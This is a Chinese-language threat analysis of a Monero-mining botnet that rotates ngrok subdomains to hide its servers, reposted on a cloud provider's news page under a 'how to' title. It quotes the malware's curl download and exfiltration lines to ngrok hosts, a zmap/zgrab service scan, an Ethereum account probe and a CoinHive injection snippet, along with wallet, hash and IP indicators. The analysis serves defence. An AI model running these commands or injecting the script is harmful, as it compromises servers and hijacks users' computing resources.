您好,登錄后才能下訂單哦!
如何利用ngrok傳播樣本挖礦,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
"鏈治百病,藥不能停"。時下各種挖礦軟件如雨后春筍層出不窮,想把他們都滅了,那是不可能的,這輩子都不可能的。通常我們都忽略他們。但這個利用ngrok生成大量隨機域名作為Downloader和Report域名,對抗安全設施阻斷其域名,隱藏真實服務器地址的挖礦惡意樣本成功的引起了我們的注意。
該惡意樣本的主要特點是:
使用ngrok定期更換的隨機域名作為Downloader和Report域名。
利用redis,docker,jenkins,drupal,modx,CouchDB漏洞植入xmr挖礦程序挖礦。
企圖掃描以太坊客戶端,盜取以太幣,當前未實際啟用。
企圖感染目標設備上的js文件,植入CoinHive挖礦腳本瀏覽器挖礦。
動態生成挖礦腳本和掃描腳本。
該挖礦樣本主要模塊由Scanner腳本,Miner腳本,Loader構成。Scanner模塊負責掃描和上報漏洞信息給Loader。Loader負責給存在漏洞的設備植入Scanner和Miner。Miner負責挖礦。
圖1:ngrok工作原理
ngrok使用方式:先去ngrok.io注冊一個服務,然后在本地啟動ngrok client,把流量轉到內網端口,ngrok client端會獲得服務端隨機分配的ngrok子域名,通過這些子域名就可以從外網訪問內網資源了。免費模式下ngrok client可以有一個進程,一個進程可以有4個tunnel,每個tunnel會獲得一個子域名,并且每次重啟client重新獲得每個tunnel對應的子域名。
為了方便直觀展示其所用域名的存活周期,我們繪制了該挖礦樣本最近48小時所使用的各個域名我們能成功從該域名上下回來樣本的次數的Heatmap。從圖上可以看出該樣本周期性更換其使用的域名,所使用的域名存活時間不超過12小時。實際上從我們的數據看該挖礦樣本最早出現在6月下旬,域名切換規律一直如此。
圖2:域名存活周期
由Loader植入,植入時生成待掃描IP范圍,Report以及Downloader域名硬編碼在Scanner腳本中。具體執行流程:
下載掃描過程使用工具zmap,zgrab,jq
curl -m 120 -fks -o /usr/bin/zmap "hxxp://3a3c559e.ngrok.io/d8/zmap" curl -m 120 -fks -o /usr/bin/jq "hxxp://53349e8c.ngrok.io/d8/jq" curl -m 120 -fks -o /usr/bin/zgrab "hxxp://e5a22d36.ngrok.io/d8/zgrab"
下載以太坊客戶端geth掃描payload
#curl -m 120 -fks -o /tmp/.p8545 "hxxp://cc8ef76b.ngrok.io/d8/p8545" POST / HTTP/1.1 Host: %s:8545 User-Agent: geth Accept: */* Content-Type: application/json Content-Length: 60 {"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}
漏洞掃描,使用zmap掃描端口開放,然后用zgrab做應用層掃描,當前該惡意樣本掃描6379/2375/80/8080/5984端口,查找 redis,docker,jenkins,drupal,modx,couchdb服務
#例如,掃描redis端口 PORT="6379" echo -ne "info\r\nquit\r\n" >/tmp/rinfoa379f8ca echo ";;${PORT}" > $OUT /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT}
上傳掃描結果
curl -m 120 -sk -F result=@${_FILE} "hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}"
刪除痕跡退出
Loader植入階段生成Report,Downloader域名硬編碼在Miner腳本中:
export HOST="hxxp://608f5b6c.ngrok.io"
執行流程:
下載運行fc,是個全局標記,用來區分感染狀態的,如果樣本成功運行,說明感染成功。如果運行失敗,記錄錯誤信息,用來上報給Report。
curl -fks -o $INSTALL/93b689 "$HOST/d8/fc" $INSTALL/93b689 '///' >>201e3a252c5e 2>&1 & $INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 &
殺死競爭對手
生成舊版本的自己的Report信息,包括進程名稱,礦機MD5,礦機文件路徑。用來上報給Report。
殺死舊版本的自己
下載daemon(進程管理工具),nginx(礦機)運行。
curl -fks -o "${RIP}d" "$HOST/d8/daemon" curl -fks -o dda4512010 "$HOST/d8/nginx" cat dda4512010 |"${RIP}d"
查找/etc/hosts中是否有其他礦工域名,如果有,將"127.0.0.1 localhost"寫入/etc/hosts,用來清空其他礦工快速域名解析記錄
清除非自己的crontab任務
在當前目錄下的js腳本中插入CoinHive挖礦腳本, 感染肉雞上的js文件。或許這是個bug,因為當前目錄是其工作目錄,下并沒有js文件。
var js=document.createElement("script"); js.type="text/javascript"; js.src="hxxps://coinhive.com/lib/coinhive.min.js", document.body.appendChild(js), window.msci=setInterval( function(){ var e="CoinHive"; if(window[e]){ clearInterval(window.msci); var n=window[e].Anonymous; window.__m1||(window.__m1=new n("U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW"))&&__m1.start() } }, 200 );
上報礦機運行信息
礦機運行成功,報告礦機進程ID,感染設備IP ID,CPU數量,感染設備所用漏洞,當前用戶名。
礦機運行失敗,報告錯誤信息, 包括感染結果,舊版本礦機運行信息(進程名稱,礦機MD5,運行文件路徑), crontab錯誤信息等
礦池地址: pool.minexmr.com:55555 錢包地址: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW
當前TotalPaid為:69.676550440000 XMR
md5=19e8679be6cfc56a529cf35df2dbece8 uri=hxxp://608f5b6c.ngrok.io/d8/daemon md5=e309354fe7047a5fca3c774a427ae7a2 uri=hxxp://608f5b6c.ngrok.io/d8/fc md5=39fcbe99c2d72006667be9bcc286db4e uri=hxxp://608f5b6c.ngrok.io/d8/nginx md5=510802ce144bb729c3c527d465321168 uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1 md5=072922760ec200ccce83ac5ce20c46ca uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733
194.99.105.76 ASAS9009 M247_Ltd 185.183.104.139 AS9009 M247_Ltd 185.242.6.4 AS9009 M247_Ltd 46.166.142.220 AS43350 NForce_Entertainment_B.V. 217.23.3.91 AS49981 WorldStream_B.V. 89.39.107.195 AS49981 WorldStream_B.V. 185.159.157.19 AS59898 AllSafe_Sarl 194.99.105.75 ASAS9009 M247_Ltd 109.201.133.24 AS43350 NForce_Entertainment_B.V. 217.23.3.92 AS49981 WorldStream_B.V. 46.166.142.215 AS43350 NForce_Entertainment_B.V. 89.39.107.192 AS49981 WorldStream_B.V. 109.201.133.22 AS43350 NForce_Entertainment_B.V. 89.39.107.202 AS49981 WorldStream_B.V. 89.39.107.199 AS49981 WorldStream_B.V. 109.201.133.26 AS43350 NForce_Entertainment_B.V.
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。